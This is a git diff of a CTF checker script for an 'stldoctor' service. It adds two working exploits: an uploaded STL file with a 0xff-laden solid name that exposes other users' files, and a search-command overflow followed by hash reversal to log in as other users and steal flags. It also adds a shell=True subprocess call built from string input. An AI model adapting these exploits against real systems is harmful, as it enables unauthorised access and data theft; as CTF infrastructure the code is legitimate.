aboutsummaryrefslogtreecommitdiffstats
path: root/checker/src/checker.py
diff options
context:
space:
mode:
Diffstat (limited to 'checker/src/checker.py')
-rw-r--r--checker/src/checker.py189
1 files changed, 134 insertions, 55 deletions
diff --git a/checker/src/checker.py b/checker/src/checker.py
index 9d9124a..46f91ce 100644
--- a/checker/src/checker.py
+++ b/checker/src/checker.py
@@ -1,60 +1,76 @@
#!/usr/bin/env python3
from enochecker import BaseChecker, BrokenServiceException, EnoException, run
from enochecker.utils import SimpleSocket, assert_equals, assert_in
-import random, string, struct, logging, selectors, time, socket
+import os, random, string, struct, subprocess, logging, selectors, time, socket
import numpy as np
logging.getLogger("faker").setLevel(logging.WARNING)
logging.getLogger("pwnlib").setLevel(logging.WARNING)
+logging.getLogger("_curses").setLevel(logging.CRITICAL)
from faker import Faker
+evil_file = b"""
+solid test\xff
+facet normal 0 0 1.0
+ outer loop
+ vertex 1 0 0
+ vertex 1 1 0
+ vertex 0 1 0
+ endloop
+ endfacet
+endsolid
+"""
+
def ensure_bytes(v):
if type(v) == bytes:
return v
elif type(v) == str:
- return v.encode("latin-1")
+ return v.encode()
else:
raise BrokenServiceException("Tried to pass non str/bytes to bytes arg")
class STLDoctorChecker(BaseChecker):
+ service_name = "stldoctor"
+ port = 9090
+
flag_variants = 2
noise_variants = 2
havoc_variants = 4
- service_name = "stldoctor"
- port = 9000
+ exploit_variants = 2
- debuglog = True
+ prompt = b"$ "
def login_user(self, conn, password):
self.debug("Sending command to login.")
- self.write(conn, f"login\n{password}\n")
- conn.readline_expect(b"logged in!", recvuntil=b"$", exception_message="Failed to log in")
+ conn.write(f"login\n{password}\n")
+ conn.readline_expect(b"logged in!", recvuntil=self.prompt, exception_message="Failed to log in")
def write(self, conn, buf):
- if self.debuglog:
- print("SEND: " + str(ensure_bytes(buf)))
+ self.debug("SEND: " + str(ensure_bytes(buf)))
conn.send(ensure_bytes(buf))
def fakeid(self):
fake = Faker(["en_US"])
allowed = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmopqrstuvwxyz0123456789-+.!"
- return "".join([c for c in fake.name().replace(' ','') if c in allowed][:60]).ljust(10, '.')
+ idstr = "".join([c for c in fake.name().replace(' ','') if c in allowed][:60]).ljust(10, '.')
+ idstr += "".join([random.choice(allowed) for i in range(5)])
+ return idstr
def havocid(self):
idlen = random.randint(10, 60)
return "".join([chr(random.randint(32, 127)) for i in range(idlen)])
def do_auth(self, conn, authstr):
- self.write(conn, f"auth {authstr}\n")
- resp = conn.recvuntil("$")
+ conn.write(f"auth {authstr}\n")
+ resp = conn.recvuntil(self.prompt)
authstr = ensure_bytes(authstr)
- assert_in(b"Success!", resp, f"Login with pass {authstr} failed!");
+ assert_in(b"Success!", resp, f"Login with pass {authstr} failed");
def check_listed(self, conn, modelid):
modelid = ensure_bytes(modelid)
- self.write(conn, "list\n")
- resp = conn.recvuntil("$")
+ conn.write("list\n")
+ resp = conn.recvuntil(self.prompt)
assert_in(modelid, resp, f"Uploaded model is missing from list command")
def genfile_ascii(self, solidname):
@@ -113,58 +129,56 @@ class STLDoctorChecker(BaseChecker):
else:
raise EnoException("Invalid file type supplied");
- def putfile(self, conn, modelname, solidname, filetype):
+ def putfile(self, conn, modelname, solidname, filetype="ascii", stlfile=None):
solidname = ensure_bytes(solidname)
modelname = ensure_bytes(modelname)
# Generate file contents
- stlfile = self.genfile(filetype = filetype, solidname = solidname)
+ if stlfile is None:
+ stlfile = self.genfile(filetype, solidname)
# Upload file
self.debug("Sending command to submit file")
- self.write(conn, "upload\n")
- self.write(conn, f"{len(stlfile)}\n")
- self.write(conn, stlfile)
- self.write(conn, modelname + b"\n")
+ conn.write("upload\n")
+ conn.write(f"{len(stlfile)}\n")
+ conn.write(stlfile)
+ conn.write(modelname + b"\n")
# Parse ID
- print(conn.recvuntil("with ID "))
+ self.debug(conn.recvuntil("with ID "))
modelid = conn.recvuntil(b"!")[:-1]
- if modelid == b"":
+ if modelid == "":
raise BrokenServiceException("Unable to upload file!")
- self.debug(f"Got ID {modelid}")
-
- conn.recvuntil(b"$")
+ self.debug(f"Uploaded file with {modelid}")
- if self.debuglog:
- print(f"PUT FILE: {modelid}")
+ conn.recvuntil(self.prompt)
return stlfile, modelid
- def getfile(self, conn, modelname):
+ def getfile(self, conn, modelname=None, download=True):
modelname = ensure_bytes(modelname)
self.debug(f"Sending command to retrieve file with name {modelname}")
- self.write(conn, "search\n")
- self.write(conn, modelname + b"\n")
- self.write(conn, "0\n") # first result
- self.write(conn, "y\n") # yes download
-
- resp = conn.recvuntil(b"Here you go.. (")
- print(resp)
- try:
- size = int(conn.recvuntil(b"B)\n")[:-3])
- except:
- print("GOT INSTEAD:", conn.recvall(timeout=0))
- raise BrokenServiceException("Returned file content size for download is not a valid integer")
-
- print("FILE SIZE:", size)
- contents = conn.recvn(size)
- if self.debuglog:
- print("GOT FILE:\n" + str(contents))
-
- conn.recvuntil("$") # clean up rest
- return resp + contents
+ conn.write("search\n")
+ conn.write(modelname + b"\n")
+ conn.write("0\n") # first result
+ conn.write("y\n" if download else "\n")
+
+ resp = conn.recvuntil("==================")
+ if download:
+ resp += conn.recvuntil(b"Here you go.. (")
+ try:
+ size = int(conn.recvuntil(b"B)\n")[:-3])
+ except:
+ raise BrokenServiceException("Returned file content size for download is not a valid integer")
+
+ self.debug(f"Download size: {size}")
+ contents = conn.recvn(size)
+ self.debug("File contents:\n" + str(contents))
+ resp += contents
+
+ conn.recvuntil(self.prompt)
+ return resp
def check_getfile(self, conn, modelname, solidname, contents, modelid = None):
resp = self.getfile(conn, modelname = modelname)
@@ -213,18 +227,19 @@ class STLDoctorChecker(BaseChecker):
self.check_listed(conn, modelid)
self.closeconn(conn)
+ def reverse_hash(self, hashstr):
+ return subprocess.check_output(os.getenv("REVHASH_PATH") + f" \"{hashstr}\"", shell=True)[:-1]
+
def openconn(self):
import pwnlib.tubes.remote
self.debug(f"Connecting to service at {self.address}:{self.port}")
conn = pwnlib.tubes.remote.remote(self.address, self.port, timeout = self.timeout)
- resp = conn.recvuntil("$") # ignore welcome
- if self.debuglog:
- print("WELCOME:",resp)
+ resp = conn.recvuntil(self.prompt)
return conn
def closeconn(self, conn):
self.debug("Sending exit command")
- self.write(conn, "exit\n")
+ conn.write("exit\n")
conn.close()
def putflag(self): # type: () -> None
@@ -312,9 +327,73 @@ class STLDoctorChecker(BaseChecker):
def exploit(self): # type: () -> None
if self.variant_id == 0:
- pass
+ name = self.fakeid()
+
+ conn = self.openconn()
+ resp,mid = self.putfile(conn, name, name, stlfile=evil_file)
+ self.debug(f"Evil file: {mid}")
+ self.closeconn(conn)
+
+ conn = self.openconn()
+ resp = self.getfile(conn, name, download=False)
+ self.debug(str(resp))
+ conn.write("search last\n")
+ filelist = [l.strip().split(b" : ") for l in conn.recvuntil("?").split(b"\n") if b" : " in l]
+
+ found = None
+ for i in range(len(filelist)):
+ self.debug(b"Retrieving file " + filelist[i][0] + b": " + filelist[i][1])
+ conn.write(filelist[i][0] + b"\ny\n")
+ fileinfo = conn.recvuntil(self.prompt)
+ self.debug("File contents:\n" + fileinfo.decode("latin1"))
+ found = self.search_flag_bytes(fileinfo)
+ if found is not None or i == len(filelist) - 1:
+ break
+ self.getfile(conn, name, download=False)
+ conn.write("search last\n")
+ conn.recvuntil("?")
+ self.closeconn(conn)
+
+ if found is None:
+ raise BrokenServiceException("Exploit for flagstore 1 failed")
+ return found
elif self.variant_id == 1:
- pass
+ conn = self.openconn()
+ conn.write(b"search \xff\xff\xff\xff\xff0000000000000000\n")
+ conn.recvuntil(self.prompt)
+ conn.write("auth\n")
+ assert_in(b"Already logged in!", conn.recvuntil(self.prompt), "Exploit did not set 'loggedin' variable via overflow")
+ conn.write("list\n")
+ resp = conn.recvuntil(self.prompt)
+ self.debug(resp)
+ users = [l.split(b" .")[1] for l in resp.split(b"\n") if b">> ." in l]
+ self.closeconn(conn)
+
+ conn = self.openconn()
+ found = None
+ for u in users:
+ self.debug(f"Logging in as user with id {u}")
+ user = self.reverse_hash(u.decode())
+ if user == b"":
+ raise BrokenServiceException("Failed to find hash preimage")
+ self.debug(f"Hash preimage: {user}")
+ conn.write(b"auth " + user + b"\n")
+ resp = conn.recvuntil(self.prompt)
+ self.debug(resp)
+ if b"Welcome back" not in resp:
+ raise BrokenServiceException("Revhash returned invalid preimage")
+ conn.write("list\n")
+ resp = conn.recvuntil(self.prompt)
+ self.debug(resp)
+ names = b"\n".join([l.split(b": ", 1)[1] for l in resp.split(b"\n") if b"Solid Name: " in l])
+ found = self.search_flag_bytes(names)
+ if found is not None:
+ break
+ self.closeconn(conn)
+
+ if found is None:
+ raise BrokenServiceException("Exploit for flagstore 2 failed")
+ return found
else:
raise EnoException("Invalid variant_id provided")